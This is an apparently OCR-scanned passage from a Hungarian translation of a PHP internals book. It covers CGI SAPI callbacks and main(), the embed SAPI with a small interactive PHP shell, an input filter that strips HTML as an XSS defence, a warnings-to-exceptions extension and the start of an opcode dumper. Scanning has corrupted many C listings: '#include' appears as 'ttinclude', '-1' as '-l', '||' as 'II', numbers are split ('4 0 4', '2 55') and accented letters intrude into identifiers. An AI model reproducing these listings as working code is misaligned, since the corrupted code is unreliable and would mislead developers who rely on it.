akkor hív meg, ha a header () hívással találkozik a kódban, illetve ha a PHP saját belső
fejléceit állítja be. A CGI SÁPI nem határoz meg saját header_handler-t, ami azt jelenti,
hogy a szabványos SÁPI viselkedés érvényesül, vagyis a fejlécek egy belső listára kerül-
nek, melyet a PHP kezel. Ezt a visszahívást leginkább webkiszolgáló SAPI-k használják
(mint a mod_php), melyek maguk szeretnék kezelni a fejléceket, elszakadva a PHP alap-
értelmezett működésétől.

A tizenharmadik mező a sapi_module_struct. send_headers, melyet a rendszer akkor


hív meg, ha elérkezett az idő a PHP-ben beállított fejlécek küldésére (azaz közvetlenül az el-
ső tartalomadatok küldése előtt). Itt lehetőségünk van arra, hogy minden fejlécet elküldjünk
(ilyenkor a visszatérési érték SAPI_HEADER_SENT_SUCCESSFULLY), de átadhatjuk az egyes
fejlécek küldésének feladatát a tizennegyedik, sapi_module_struct. send_header me-
zőnek is (ilyenkor a visszatérési érték SAPl_HEADER_DO_SEND kell legyen). A CGI SÁPI az
előbbi módszert választja, vagyis minden fejlécét kiírja a send_headers függvényben:

static int sapi_cgi_send_headers(sapi_headers_struct


*sapi_headers TSRMLS_DC)
{
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 633

char buf[SAPI_CGI_MAX_HEADER_LENGTH];
sapi_header_struct *h;
zend_llist_position pos;
long rfc2 616_headers = 0;

if(SG(request_info).no_headers == 1) {
return SAPI_HEADER_SENT_SUCCESSFULLY;
}

if (SG(sapi_headers).http_response_code != 200) {
int len;
len = sprintf(buf, "Status: %d\r\n",
SG(sapi_headers).http_response_code);
PHPWRITE_H(buf, len);
}
if (SG(sapi_headers).send_default_content_type) {
char *hd;
hd = sapi_get_default_content_type(TSRMLS_C);
PHPWRITE_H("Content-type: ", sizeof("Content-type: ")-l);
PHPWRITE_H(hd, strlen(hd));
PHPWRITE_H("\r\n", 2) ;
efree(hd);
}

h = zend_llist_get_first_ex(&sapi_headers->headers, &pos);
while (h) {
PHPWRITE_H(h->header, h->header_len);
PHPWRITE_H("\r\n", 2);
h = zend_llist_get_next_ex(&sapi_headers->headers, &pos);
}
PHPWRITE_H("\r\n", 2) ;
return SAPI_HEADER_SENT_SUCCESSFULLY;
}

A PHPWRITE_H egy makróburkoló a kimenet (esetleg bekapcsolt) tárolásának kezelésére.

A tizenötödik mező a sapi_module_struct. readrpost, amely meghatározza, miként


olvassuk a POST adatokat. A függvény egy tárolót vár a méretével egyetemben - ezt fel-
tölti adatokkal, majd visszaadja ezek végeredményben kapott hosszát. íme a CGI SAPI-
ban szereplő megvalósítás, amely egyszerűen annyi adatot olvas az stdin-ről (ehhez a 0
fájlleíró tartozik), amennyit a tároló elbír:
static int sapi_cgi_read_post(char *buffer,
uint count_bytes TSRMLS_DC)
{
uint read_bytes=0, tmp_read_bytes;
count_bytes = MIN(count_bytes,
(uint)SG(request_info).content_length-SG(read__post_bytes));
634 PHP fejlesztés felsőfokon

while (read_bytes < count_bytes) {


tmp_read_bytes = read(0, buffer+read_bytes, count_bytes-read_bytes);
if (tmp_read_bytes<=0) {
break;
}
read_bytes += tmp_read_bytes;
}
return read_bytes;
}

Figyeljük meg, hogy itt nem folyik semmiféle feldolgozás: a read_post kizárólag nyers
POST adatok beolvasására képes. Amennyiben bele kívánunk szólni a feldolgozás módjá-
ba, ezt a sapi_module_struct .default_post_reader meghatározásával tehetjük
meg, amelyről fejezetünk SÁPI bemeneti szűrők címszavánál szólunk bővebben.

A tizenhatodik mező a sapi_module_struct. read_cookies, melynek működése


megegyezik a read_post-éval, de ez a sütik adataival dolgozik. A CGI rendszerében
a sütik adatai egy környezeti változóba kerülnek, így kiolvasásukhoz a függvény egysze-
rűen a getenv visszahívást alkalmazza:

static char *sapi_cgi_read_cookies(TSRMLS_D)


{
return sapi_cgibin_getenv((char *)"HTTP_COOKIE",0 TSRMLS_CC);
}

Az adatok szűréséről ismét csak a SÁPI bemeneti szűrők címszónál olvashatunk.

A következő mező a sapi_module_struct. register_server_variables. Paramé-


terként azokat az adatokat kell megadnunk számára, melyekből a $_SERVER autoglobális
tömb válik majd, esetleg kiegészítve a SÁPI saját elemeivel. Lássuk, mit találunk e vissza-
hívás megvalósításának legfelső szintjén a CGI SAPI-ban:

static void sapí_cgi_register_variables(zval *track_vars_array


TSRMLS_DC)
{
php_import_environment_variables(track_vars_array TSRMLS_CC);
php_register_variable("PHP_SELF",
(SG (request__info).request_uri ? SG(reguest_info).request_uri:""),
track_vars_array TSRMLS_CC);
}

Ez meghívja a php_import_environment_variables () függvényt, amely végighalad


a héj környezeti változóin, és bejegyzéseket készít számukra a $_SERVER tömbben. Ezt
követően a $_SERVER [ ' PHP_SELF ' ] -et állítja be a kért programként.
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 635

A CGI modul utolsó megvalósított eleme a sapi_module_struct. log_message,


amely egyfajta alapértelmezett függvény, ha más hibanaplózó lehetőséget nem állítottunk
be. Amennyiben a php. ini fájlban nem adtuk meg az error_log beállítást, a rendszer
ezt a függvényt hívja meg mindenféle hibaüzenet kiíratására. A CGI modul egyszerűen az
stderr-re ír:

static void sapi_cgi_log_message(char *message)


{
fprintf(stderr, " %s \n " , message);
}

Végére értünk hát a sapi_module_struct szabványos elemeinek. A szűrőkről


— def ault_post_reader, treat_data és input_f ilter - a SÁPI bemeneti szűrők
címszónál szólunk bővebben, a továbbiak pedig olyan különleges rendeltetésű elemek,
melyeket itt nem tárgyalunk.

A CGI SÁPI alkalmazás


A CGI SAPI-t egy alkalmazásba kell helyeznünk ahhoz, hogy futtathassuk. Az erre szolgá-
ló CGI main () eljárás meglehetősen hosszú és rengeteg beállítási lehetőséget biztosít
(tárgyalása egy teljes fejezetet megtöltené) - ezért hát egy igencsak lecsupaszított változa-
tával foglalkozunk, melyet megfosztottunk minden beállítási lehetőségtől. Lássuk hát
a main () egyszerűsített alakját:

int main(int argc, char **argv)


{
int exit_status = SUCCESS;
zend_file_handle file_handle;
int retval = FAILURE;
signal(SIGPIPE, SIG_IGN); /* a lekapcsolódó ügyfelekkel
nem foglalkozunk */
sapi_startup(&cgi_sapi_module);
cgi_sapi_module.executable_location = argv[0];

if (php_module_startup(&cgi_sapi_module, NULL, 0) == FAILURE) {


return FAILURE;
}
zend_first_try {
SG(server_context) = (void *) 1; /* kerüljük el
a server_context==NULL vizsgálatokat */
init_request_info(TSRMLS_C);
file_handle.type = ZEND_HANDLE_FILENAME;
file_handle.filename = SG(request_info).path_translated;
file_handle.handlé.fp = NULL;
636 PHP fejlesztés felsőfokon

file_handle.opened_path = NULL;
file_handle.free_filename = 0;

if (php_request_startup(TSRMLS_C)==FAILURE) {
php_module_shutdown(TSRMLS_C);
return FAILURE;
}
retval = php_fopen_primary_script( & f ile_handle TSRMLS_CC);
if (retval == FAILURE && file_handle.handlé.fp == NULL) {
SG(sapi_headers).http_response_code = 4 0 4;
PUTSC'No input filé specif ied. \n") ;
php_request_shutdown((void *) 0 ) ;
php_module_shutdown(TSRMLS_C);
return FAILURE;
}
php_execute_script(&file_handle TSRMLS_CC);
if (SG(request_info).path_translated) {
char *path_translated;
path_translated = strdup(SG(request_info).path_translated);
efree(SG(request_info).path_translated);
SG(request_info).path_translated = path_translated;
}
php_request_shutdown((void *) 0 ) ;
if (exit_status == 0) {
exit_status = EG(exit_status) ;
}
if (SG(request_info).path_translated) {
free(SG(request_info).path_translated);
SG(request_info).path_translated = NULL;
}
} zend_catch {
exit_status = 2 55;
} zend_end_try();
php_module_shutdown(TSRMLS_C);
sapi_shutdown();
return exit_status;
}

Az alábbiakban bemutatjuk az init_request_inf o () segédfüggvény szerkezetét, amely


a CGI alapértelmezései szerint feltölti a SÁPI globális változóit a programállományok he-
lyeivel és a lekérdezési karakterláncok paramétereivel, a környezeti változók alapján.

static void init_request_info(TSRMLS_D)


{
char *env_script_filename = sapi_cgibin_getenv("SCRIPT_FILENAME",
0 TSRMLS_CC);
char *env_path_translated = sapi_cgibin_getenv("PATHJTRANSLATED",
0 TSRMLS_CC);
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 637

char *script_path_translated = env_script_filename;

/* alapértelmezések feltöltése */
SG(request_info).path_translated = NULL;
SG(request_info).request_method = NULL;
SG(request_info).query_string = NULL;
SG(request_info).request_uri = NULL;
SG(request_info).content_type = NULL;
SG(request_info).content_length = 0;
SG(sapi_headers).http_response_code = 2 0 0 ;

/* A script_path_translated beállítása jól jelzi, hogy CGI környezet-


ben dolgozunk, hiszen értéke minden más esetben null. Egyébként
a program fájlnevét a rendszer az argc/argv-n keresztül éri el */
if (script_path_translated) {
const char *auth;
char *content_length = sapi_cgibin_getenv("CONTENT_LENGTH",
0 TSRMLS_CC);
char *content_type = sapi_cgibin_getenv("CONTENT_TYPE",
0 TSRMLS_CC);
SG(request_info).request_method =
sapi_cgibin_getenv("REQUEST_METHOD",0 TSRMLS_CC);
SG(request_info).query_string =
sapi_cgibin_getenv("QUERY_STRING",0 TSRMLS_CC);
if (script_path_translated &&
!strstr(script_path_translated, "..")) {
SG(request_info).path_translated
= estrdup(script_path_translated);
}
SG(request_info) .content_type = (content_type ? content_type : "" ) ;
SG(request_info).content_length
= (content_length?atoi(content_length):0);

/* A CGI RFC megengedi, hogy a kiszolgálók nem érvényesített


Authorization adatokat is továbbküldjenek */
auth = sapi_cgibin_getenv("HTTP_AUTHORIZATION" , 0 TSRMLS_CC);
php_handle_auth_data(auth TSRMLS_CC);
}
}

Lássuk most részletesebben, mit is végez ez a program:

1. A sapi_startup (&cgi_sapi_module) előkészíti az alapértelmezett SÁPI


szerkezeteket.
2. A php_module_startup (&cgi_sapi_module, NULL, 0) betölti, előkészíti és
bejegyzi a SAPI-t.
638 PHP fejlesztés felsőfokon

3. Az init_request_inf o () beállítja a szükséges SÁPI globális változók


request_inf o értékeit a környezet alapján. így értesül a CGI SÁPI arról, milyen
fájlt szeretnénk végrehajtani, és milyen paramétereket adtunk át neki. A megvalósí-
tás minden SÁPI esetén más - a mod_php ezeket az adatokat az Apache
request_rec adatszerkezetéből olvassa ki.
4. A függvény feltölti a zend_file_handle értékét a végrehajtandó programmal.
5. Elindul php_request_startup (), ami a munka dandárját végzi: előkészíti a ké-
relem számára a kimenettároló rendszert, elkészít minden autoglobális változót,
meghívja minden bejegyzett bővítmény RINIT horgát, továbbá meghívja a SÁPI
activate visszahívható függvényét.
6. A php_f open_primary_script ( & f ile_handle TSRMLS_CC) megnyitja, majd
a php_execute_scri.pt ( & f ile_handle TSRMLS_CC) végrehajtja a programot.
Technikailag nem feltétlenül szükséges megnyitnunk a parancsfájlt, de ez nagysze-
rű módot ad annak ellenőrzésére, hogy valóban létezik-e.
Ha a php_execute_script () visszatér, a program befejeződött.
7. A php_request_shutdown ( (void * ) 0) lezárja a kérelmet - meghívja a modu-
lok RSHUTDOWN horgait, a SAPI-ban bejegyzett deactivate függvényt, befejezi
a kimenet tárolását, és minden adatot átküld az ügyfélnek.
8. A php_module_shutdown véglegesen lezárja a SAPI-t, mivel a CGI SÁPI egy hasz-
nálat alatt csak egy kérelmet képes kiszolgálni.
9. A sapi_shutdown () elvégzi a SÁPI környezet még hátramaradt takarító műveleteit.

Ez tehát a teljes folyamat, melyben a PHP értelmezőt egy SÁPI segítségével az alkalmazás-
ba ágyazhatjuk.

A beágyazási SÁPI
A CGI SÁPI méretesnek tűnhet, de működésének nagy része a hívó környezetében található
adatok automatikus beviteléből áll. A PHP nagy figyelmet fordít arra, hogy elrejtse a környe-
zeti adatok elérésének részleteit - és az igyekezetek nagy része a SAPI-ban testesül meg.

Ha nincs szükségünk a teljes PHP beágyazására, mindössze némi PHP kódot szeretnénk
futtatni az alkalmazás részeként, a beágyazási SÁPI nagyszerű segítséget nyújthat, hiszen
a PHP-t osztott könyvtárként teszi elérhetővé, melyet programunkba szerkeszthetünk, és
kódokat futtathatunk vele.

A beágyazási könyvtár felépítéséhez a PHP-t az alábbi beállításokkal kell lefordítanunk:

--enable-embed

Ezzel megszületik a líbphpS . so könyvtárfájl.


23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 639

A beágyazási SÁPI két makrót kínál a felhasználóknak:

PHP_EMBED_START_BLOCK(int argc, char **argv)


PHP_EMBED_END_BLOCK()

E makrók között egy működő PHP környezetet találunk, melyben futtathatjuk programja-
inkat, valahogy így:

php_execute_script(zend_file_handle *primary_file TSRMLS_DC);

Vagy így:

zend_eval_string(char *str, zval *retval_ptr,


char *string_name TSRMLS_DC);

A dolog egyszerűségének szemléltetésére álljon itt egy PHP héj, ami bármit végrehajt,
amit átadunk neki:

ttinclude <php_embed.h>
tfinclude <stdio.h>
#include <readline/readline.h>
#include <readline/history.h>

int main(int argc, char **argv) {


char *code;
PHP_EMBED_START_BLOCK(argc,argv);
while((code = readline("> ")) != NULL) {
zend_eval_string(code, NULL, argv[0] TSRMLS_CC);
}
PHP_EMBED_END_BLOCK();
return 0;
}

Ezután végezzük el a fordítást az alábbiak szerint:

> gcc -pipe -g -02 -I/usr/local/include/php


-I/usr/local/include/php/Zend \
-I/usr/local/include/php/TSRM -I/usr/local/include/php/main -c psh.c
> gcc -pipe -g -02 -L/usr/local/lib -lreadline -lncurses
-lphp5 psh.o -o psh

Figyeljük meg, hogy a SÁPI a $argc és $argv autoglobálisokat


a PHP_EMBED_START_BLOCK () makrónak átadott paraméterek alapján állítja be.
640 PHP fejlesztés felsőfokon

Nézzük a következő psh munkamenetet:

> ./psh foo bar


> print_r($argv);
Array
(
[0] => ./psh
[1] => foo
[2] => bar
)
> $a = 1;
> print "$a\n";
1
>

Ez a kis példa persze nem egyéb játéknál, de jól mutatja, miként férhetünk hozzá a PHP
lehetőségeihez mindössze 15 sornyi C kód árán. A későbbiekben ennél komolyabb fel-
adatra is használjuk majd a beágyazási SAPI-t: megvalósítjuk a 20. fejezetben már bemuta-
tott opkód-kiíratót.

SÁPI bemeneti szűrők


A 13. fejezetben olvashattunk a helyközi támadásokról és a rosszindulatú SQL kódok
használatáról, mely módszerek megjelenésükben különböznek ugyan, céljuk azonban
azonos: rávenni a webkiszolgálót (illetve a helyközi támadások esetén egy harmadik fel-
használót) arra, hogy az alkalmazás területén valamilyen rosszindulatú kódot futtasson.

Az ilyesfajta támadások elleni védekezés egyszerű: mindig meg kell győződnünk a fel-
használói bemenet érvényességéről, és el kell távolítanunk a nemkívánt adatokat. A tisz-
togatás felelőssége a fejlesztőé, de két okból sem érdemes magára hagynunk:

• A fejlesztők is követhetnek el hibákat. A helyközi támadás komoly veszélyt jelent, és


hiba lenne megbíznunk mindazok óvatosságában, akik módosítják PHP kódunkat.
• A kérelmenkénti tisztogatás a PHP-ben meglehetősen lassúvá is válhat.

Annak érdekében, hogy némi beleszólást kapjunk ebbe a folyamatba, a SÁPI három
visszahívható függvényt is rendelkezésünkre bocsát, melyekkel kérelmenként elvégez-
hetjük a tisztogatást. E függvények a következők: input_f ilter, treat_data és
def ault_post_reader. Mivel ezek a SÁPI szintjén bejegyzettek, láthatatlanok a fejlesz-
tők számára, futtatásuk pedig automatikus, ami lehetetlenné teszi, hogy elfeledkezzünk
alkalmazásukról valamely oldal esetén. Ráadásul, mivel megvalósításuk C nyelvű, végre-
hajtásuk pedig még azelőtt történik, mielőtt az adatok autoglobális tömbbe kerülnének,
sokkal gyorsabbak lehetnek bármilyen PHP kódnál.
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 641

input_filter

A szűrők leghasznosabbika a sapi_module_struct. input_f ilter nevet viseli - az


itt bejegyzett függvényt alkalmazza a rendszer az adatokra, mielőtt elhelyezné azokat
a $_POST, $_GET és $_COOKIE autoglobálisokban. Ezzel az input_f ilter lehetővé te-
szi, hogy megtisztítsuk az adatokat, mielőtt a felhasználói kód hozzájuk férne.

A következőkben egy olyan input_f ilter-t mutatunk be, amely a strip_tags () C


függvény segítségével eltávolít minden HTML kódot a POST, GET és COOKIE adatokból.
Függvényünk valójában a PHP-vel kapott input_f ilter példa egy változata, igaz, né-
hány újabb képességgel kiegészítve. Működése során készítünk három új autoglobális
tömböt - $_RAW_POST, $_RAW_GET és $_RAW_C00KIE -, ezekbe helyezzük a változók
eredeti tartalmát. Később a megtisztított adatok bekerülnek a szabványos tömbökbe. így
a fejlesztők hozzáférhetnek az eredeti forráshoz is, de a szabványos tömbök mentessé vál-
nak a HTML kódoktól.

A bemeneti szűrők a SÁPI indítása után léphetnek működésbe, jelen példánk pedig egy
modul alakjában áll rendelkezésre. Ez azért nagyszerű hír, mert így nem kell hozzányúl-
nunk a SÁPI kódjához.

Kezdjük a szabványos modulfejléccel. Új autoglobális tömbjeink mindegyikéhez egy glo-


bális zval * mutatót hozunk létre, amint az alábbi kódban láthatjuk is:

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "php_globals.h"
#include "php_variables.h"
ftinclude "ext/standard/info .h"
#include "ext/standard/php_string.h"

ZEND_BEGIN_MODULE_GLOBALS(raw_filter)
zval *post_array;
zval *get_array;
zval *cookie_array;
ZEND_END_MODULE_GLOBALS(raw_f ilter)

#ifdef ZTS
tdefine IF_G(v) TSRMG(raw_filter_globals_id, zend_raw_filter_globals *, v)
#else
#define IF_G(v) (raw_filter_globals.v)
#endif
642 PHP fejlesztés felsőfokon

ZEND_DECLARE_MODULE_GLOBALS(raw_f i11 er)

unsigned int raw_filter(int arg, char *var, char **val, unsigned int val_len,
unsigned int *new_val_len TSRMLS_DC)

static void php_raw_filter_init_globals(zend_raw_filter_globals *globals)


{
memset(globals, 0, sizeof(zend_raw_filter_globals *) ) ;
}

PHP_MINIT_FUNCTION(raw_filter)
{
ZEND_INIT_MODULE_GLOBALS(raw_filter,
php_raw_filter_init_globals, NULL);
zend_register_auto_global("_RAW_GET", sizeof("_RAW_GET")-1,
NULL TSRMLS_CC);
zend_register_auto_global("_RAW_POST", sizeof("_RAW_POST")-1,
•• NULL TSRMLS_CC);
zend_register_auto_global("_RAW_COOKIE", sizeof("_RAW_COOKIE")-1,
NULL TSRMLS_CC);
sapi_register_input_filter(raw_filter);
return SUCCESS;
}

PHP_MSHUTDOWN_FUNCTION(raw_filter)
{
return SUCCESS;
}

PHP_RSHUTDOWN_FUNCTION(raw_filter)
{
if(IF_G(get_array)) {
zval_ptr_dtor(&IF_G(get_array));
IF_G(get_array) = NULL;
}
if(IF_G(post_array)) {
zval_ptr_dtor(&IF_G(post_array));
IF_G(post_array) = NULL;
}
if(IF_G(cookie_array)) {
zval_ptr_dtor(&IF_G(cookie_array));
IF_G(cookie_array) = NULL;
}
return SUCCESS;
}

PHP_MINFO_FUNCTION(raw_filter)
{
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 643

php_info_print_table_start();
php_info_print_table_row( 2,
"strip_tags() Filter Support", "enabled" );
php_info_print_table_end();
}

zend_module_entry raw_filter_module_entry = {
STANDARD_MODULE_HEADER,
"raw_filter",
NULL,
PHP_MINIT(raw_filter),
PHP_MSHUTDOWN(raw_filter),
NULL,
PHP_RSHUTDOWN(raw_filter),
PHP_MINFO(raw_filter) ,
"0.1",
S TANDARD_MODULE_PRO PERTIE S
};

#ifdef COMPILE_DL_RAW_FILTER
ZEND_GET_MODULE(raw_filter);
#endif

Nos, ez javarészt szabványos modul - két dologra azonban érdemes odafigyelnünk. Elő-
ször is az alábbi hívásra, mellyel az MINIT-ben új $_RAW tömbjeinkét autoglobálisként je-
gyezzük be:

zend_register_auto_global("_RAW_GET", sizeof("_RAW_GET")-1,
NULL TSRMLS_CC);

Másodszor, szintén az MINIT során, az alábbi hívással jegyezzük be a raw_f ilter függ-
vényt, mint SÁPI bemeneti szűrőt:

sapi_register_input_filter(raw_filter) ;

A bemeneti szűrő előzetes meghatározása így fest:

unsigned int raw_filter(int arg, char *var, char **val, unsigned int val_len,
unsigned int *new_val_len TSRMLS_DC);

A paraméterek jelentése a következő:

• arg-A feldolgozni kívánt bemenet típusa (PARSE_POST, PARSE_GET vagy


PARSE_COOKIE).
• var - A feldolgozni kívánt bemenet neve.
644 PHP fejlesztés felsőfokon

• val - Egy mutató, amely a feldolgozandó bemenetre irányul.


• val_len- A *val eredeti hossza.
• new_val_len - A *val hossza a módosítások után - ezt majd a szűrő állítja be.

De lássuk végre a raw_f ilter bemeneti szűrő kódját:

unsigned int raw_filter(int arg, char *var, char **val,


unsigned int val_len,
unsigned int *new_val_len TSRMLS_DC)
{
zval new_var;
zval *array_ptr = NULL;
char *raw_var;
int var_len;

switch(arg) {
case PARSE_GET:
if(!IF_G(get_array)) {
ALLOC_ZVAL(array_ptr);
array_init(array_ptr);
INIT_PZVAL(array_ptr);
zend_hash_update(&EG(symbol_table),
"_RAW_GET", s i z eo f("_RAW_GET"),
&array_ptr, sizeof(zval *), NULL);
}
IF_G(get_array) = array_ptr;
break;
case PARSE_POST:
if(!IF_G(post_array)) {
ALLOC_ZVAL(array_ptr);
array_init(array_ptr);
INIT_PZVAL(array_ptr);
zend_hash_update(&EG(symbol_table),
"_RAW_POST", sizeof("_RAW_POST"),
&array_ptr, sizeof(zval *), NULL);
}
IF_G(post_array) = array_ptr;
break;
case PARSE_COOKIE:
if(íIF_G(cookie_array)) {
ALLOC_ZVAL(array_ptr);
array_init(array_ptr);
INIT_PZVAL(array_ptr);
zend_hash_update(&EG(symbol_table),
"_RAW_COOKIE",sizeof("_RAW_COOKIE"),
&array_ptr, sizeof(zval *), NULL);
}
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 645

IF_G(cookie_array) = array_ptr;
break;
}
Z_STRLEN(new_var) = val_len;
Z_STRVAL(new_var) = estrndup(*val, val_len);
Z_TYPE(new_var) = IS_STRING;
php_register_variable_ex(var, &new_var, array_ptr TSRMLS_DC);
php_strip_tags(*val, val_len, NULL, NULL, 0 ) ;
*new_val_len = strlen(*val);
return 1;
}

A raw_f ilter hívásakor megvizsgálja, hogy létezik-e a megfelelő $_RAW tömb - ha


nem, létrehoz egyet. Ezután hozzárendeli a *val eredeti értékének másolatát ehhez
a tömbhöz. Végezetül, a php_strip_tags () segítségével eltávolítja a *val-ban találha-
tó HTML kódokat (ez a PHP strip_tags () hátterében működő C függvény), és megha-
tározza a *val új (jó eséllyel kisebb) hosszát.

A treat data és a def aultpostreader


Az input_f ilter visszahívható függvény lehetőséget ad a beérkező változók módosítá-
sára, de nem biztosít teljes rálátást a változók bevitelének folyamatára. így például segítsé-
gével nem gátolhatjuk meg egyes változók beillesztését, és nem módosíthatjuk nyers alak-
juk feldolgozásának módját.

Ha ilyesmire is szükségünk van, a SÁPI további két horoggal áll rendelkezésünkre:

• sapi_module_struct.treat_data
• sapi_module_struct.default_post_reader

A sapi_module_struct. treat_data függvényt a motor akkor hívja meg, amikor


a nyers POST, GET, illetve COOKIE lekérdezési karakterláncok feldolgozását végzi.
Az alapértelmezett megvalósítás kulcs—érték párokra bontja a nyers adatokat, megtisztítja
őket a bejegyzett input_f ilter függvénnyel, és értékeiket a megfelelő szimbólumtáb-
lákba írja.

A sapi_module_struct. def ault_post_reader feladata olyan POST adatok feldol-


gozása, amelyek nem rendelkeznek hozzájuk rendelt tartalomtípus-kezelővel.

Az itt alkalmazott alapértelmezett művelet egyszerűen átírja a teljes POST tartalmat


a $HTTP_RAW_POST_DATA változóba.

Saját sapi_module_struct .def ault_post_reader meghatározása akkor jöhet szá-


mításba, ha bizonyos fájltípusok feltöltését minden körülmények között meg szeretnénk
akadályozni.
646 PHP fejlesztés felsőfokon

Hasonlóan az input_f ilter-hez, ezeket a visszahívásokat is bejegyezhetjük bővítménye-


inkben futásidőben a sapi_register_treat_data (), illetve a sapi_register_de-
f ault_post_reader () függvényekkel. Mindazonáltal ezek meglehetősen különleges cé-
lú függvények - a legtöbb esetben az input_f ilter megoldja minden gondunkat.

A Zend Engine módosítása és belső vizsgálata


A Zend Engine egyik legizgalmasabb felépítési sajátossága, hogy nyitott a módosításokra
és a bővítésre. Erre, a 20. fejezetben mondottak szerint, két lehetőségünk van - a változ-
tatható függvénymutatók, valamint a Zend bővítési API használata.

Furcsa módon a motoron belüli függvénymutatók módosítása nemcsak a változtatások al-


kalmazásának leghatékonyabb módja, hanem egyúttal egyszerű PHP bővítményekben is el-
végezhető. Emlékeztetőként álljon itt a Zend Engine négy legfontosabb függvénymutatója:

• zend_compile_f ile () - Ez a függvény voltaképpen a lexikai elemző, az értel-


mező és a kódelőállító burkolója. Feladata a fájlok lefordítása, és végül egy
zend_op_array értékkel tér vissza.
• zend_execute () — A fájl fordítását követően a kapott zend_op_array tömböt
a zend_execute () hajtja végre. Létezik egy párja is, a zend_execute_internal,
amely belső függvényeket hajt végre.
• zend_error_cb - Ha a PHP-ben hiba történik, a rendszer ezt a függvényt hívja.
• zend_f open - Ez a függvény valósítja meg a fájlok megnyitását a motor szintjén.

A következőkben a motor négyféle, függvénymutatók átírásával végrehajtott módosítását


mutatjuk be, majd röviden szót ejtünk a Zend bővítési API néhány részletéről.

Figyelmeztetések helyett kivételek


Sokan vágyakoznak arra, hogy az E_WARNING osztály hibái automatikusan kivételt váltsa-
nak ki, de kevéssé valószínű, hogy ez a lehetőség valaha is megjelenik az alapértelmezett
PHP felépítésben. Az előnyök nyilvánvalók, hiszen az objektumközpontú programozás
megszállottjai így hibaellenőrzési feladataikat kivételellenőrzéssel oldhatják meg.

De miért e pesszimista jövőkép? Nos, azért nem valószínű, hogy ezt a lehetőséget egy INI
változó beállításával valaha is elérhetjük, mert ez szinte lehetetlenné tenné a kód rendsze-
rek közti átvitelét. Amennyiben az E_WARNING nem végzetes hiba egyes rendszereken,
máshol pedig egy try {} /catch{} blokkot kell alkalmaznunk az elfogására, komoly
gondokkal szembesülhetünk a kód terjesztésénél.

Mindazonáltal a lehetőség nem elvetendő, és a zend_error_cb felülírásával könnyen


megvalósíthatjuk egy bővítményben. Az ötlet egyszerű - olyan függvényt kell készíte-
nünk, amely kivételt vált ki.
23. fejezet • SAPl-k készítése és a Zend Engine bővítménye 647

Mindenekelőtt egy bővítményi vázra van szükségünk - íme a kód:

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
ttinclude "php_ini.h"
#include "ext/standard/info.h"
#include "zend.h"
#include "zend_default_classes.h"

ZEND_BEGIN_MODULE_GLOBALS(warn_as_except)
ZEND_API void (*old_error_cb)(int type, const char *error_filename,
const uint error_lineno, const char * formát,
va_list args);
ZEND_END_MODULE_GLOBALS(warn_as_except)
ZEND_DECLARE_MODULE_GLOBALS(warn_as_except)

#ifdef ZTS
#define EEG(v)
TSRMG(warn_as_except_globals_id,zend_warn_as_except_globals *,v)
#else
#define EEG(v) (warn_as_except_globals.v)
#endif

void exception_error_cb(int type, const char *error_filename,


const uint error_lineno, const char * formát,
va_list args);

PHP_MINIT_FUNCTION(warn_as_except)
{
EEG(old_error_cb) = zend_error_cb;
zend_error_cb = exception_error_cb;
return SUCCESS;
}

PHP_MSHUTDOWN_FUNCTION(warn_as_except)
{
return SUCCESS;
}

PHP_MINFO_FUNCTION (warn_as_except)
{
}

function_entry no_functions[] = { {NULL, NULL, NULL} };


648 PHP fejlesztés felsőfokon

zend_module_entry warn_as_except_module_entry = {
STANDARD_MODULE_HEADER,
"warn_as_except",
no_functions,
PHP_MINIT(warn_as_except) ,
PHP_MSHUTDOWN(warn_as_except),
NULL,
NULL,
PHP_MINFO(warn_as_except),
"1.0",
STANDARD_MODULE_PROPERTIES
};

#ifdef COMPILE_DL_WARN_AS_EXCEPT
ZEND_GET_MODULE(warn_as_except)
#endif

A munka érdemi részét a PHP_MINIT_FUNCTION (warn_as_except) végzi. A régi hiba-


kezelő függvény az old_error_cb-be kerül, a zend_error_cb pedig új függvényünkre,
az exception_error_cb-re mutat. A kivételek kiváltásának C megvalósításáról a 22. fe-
jezetben ejtettünk szót, így az exception_error_cb szerkezete bizonyára ismerős lesz:

void exception_error_cb(int type, const char *error_filename,


const uint error_lineno, const char * formát,
va_list args)
{
char *buffer;
int buffer_len;
TSRMLS_FETCH() ;

if(type == E_WARNING II type == E_USER_WARNING) {


buffer_len = vspprintf(&buffer, PG(log_errors_max_len) ,
formát, args);
zend_throw_exception(zend_exception_get_default() , buffer, type);
free(buffer);
}
else {
EEG(old_error_cb)(type, error_filename, error_lineno,
formát, args);
}
return;
}
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 649

Ha lefordítjuk és betöltjük a bővítményt, az alábbi program...


<?php
try {
trigger_error("Testing Exception", E_USER_WARNING);
}
catch(Exception $e) {
print "Caught this error\n";
}
?>

...ezt az eredményt adja:


> php test.php
Caught this error

Opkódok kiíratása

A 20. fejezetben egy kiírató segédprogram használatával alakítottuk a Zend Engine belső
kódját emberi értelmezésre alkalmassá. Most megtanuljuk, hogyan készíthetünk magunk
is ilyen programot. Az alapgondolat egyszerű: fogjuk a zend_compile_f ile () -tói ka-
pott zend_op_array tömböt, és formázzuk. Készíthetnénk bővítményi függvényt a fájl
feldolgozására és a kimenet kiírására, de okosabb ötlet önálló alkalmazást írni a beágya-
zási SÁPI használatával.

A 20. fejezetben láthattuk, hogy a zend_op_array az alábbi alakú zend_op elemekből áll:
struct _zend_op {
opcode_handler_t handler;
znode result;
znode opl;
znode op2;
ulong extended__value;
uint lineno;
zend_uchar opcode;
};

Ahhoz, hogy ezeket értelmezhető kóddá alakítsuk, szükségünk lesz az opkódokhoz tartozó
műveletek neveinek azonosítására, és ki kell írnunk az opl, op2 és result znode-okat.

Az opcode értékek műveleti nevekké alakítását sajnos magunknak kell elvégeznünk.


A Zend forráskönyvtárában található zend_compile. h fájlban egy csokornyi def ine
sorolja fel e műveleteket. Nem nehéz olyan programot készítenünk, amely egyetlen függ-
vényben elvégzi a feldolgozásukat:
char *opname(zend_uchar opcode)
{
650 PHP fejlesztés felsőfokon

switch(opcode) {
